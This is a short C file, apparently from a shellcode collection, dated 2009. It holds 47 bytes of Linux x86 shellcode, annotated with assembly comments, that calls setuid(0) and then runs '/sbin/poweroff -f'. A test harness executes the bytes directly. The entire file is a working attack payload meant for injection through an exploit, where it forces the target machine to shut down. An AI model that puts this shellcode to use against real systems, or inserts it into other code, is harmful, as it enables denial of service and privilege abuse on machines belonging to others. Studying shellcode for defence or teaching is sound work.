#include <stdio.h>

/* 
	linux/x86 ; setuid(0) & execve("/sbin/poweroff -f") 47 bytes
	written by ka0x - <ka0x01[alt+64]gmail.com>
	lun sep 21 16:40:16 CEST 2009

	greets: an0de, Piker, xarnuz, NullWave07, Pepelux, JosS, sch3m4, Trancek, Hendrix and others!
*/

int main()
{
	char shellcode[] = 
			"\x31\xdb"		// xor ebx,ebx
			"\x6a\x17"		// push byte 0x17
			"\x58"			// pop eax
			"\xcd\x80"		// int 80h
			"\x8d\x43\x0b"		// lea eax,[ebx+0xb]
			"\x99"			// cdq
			"\x52"			// push edx
			"\x66\x68\x66\x66"	// push word 0x6666
			"\x68\x77\x65\x72\x6f"	// push dword 0x6f726577
			"\x68\x6e\x2f\x70\x6f"	// push dword 0x6f702f6e
			"\x68\x2f\x73\x62\x69"	// push dword 0x6962732f
			"\x89\xe3"		// mov ebx,esp
			"\x52"			// push edx
			"\x66\x68\x2d\x66"	// push word 0x662d
			"\x89\xe1"		// mov ecx,esp
			"\x52"			// push edx
			"\x51"			// push ecx
			"\x53"			// push ebx
			"\x89\xe1"		// mov ecx,esp
			"\xcd\x80" ;		// int 80h

	printf("[*] ShellCode size (bytes): %d\n\n", sizeof(shellcode)-1 );
	(*(void(*)()) shellcode)();
	
	return 0;
}

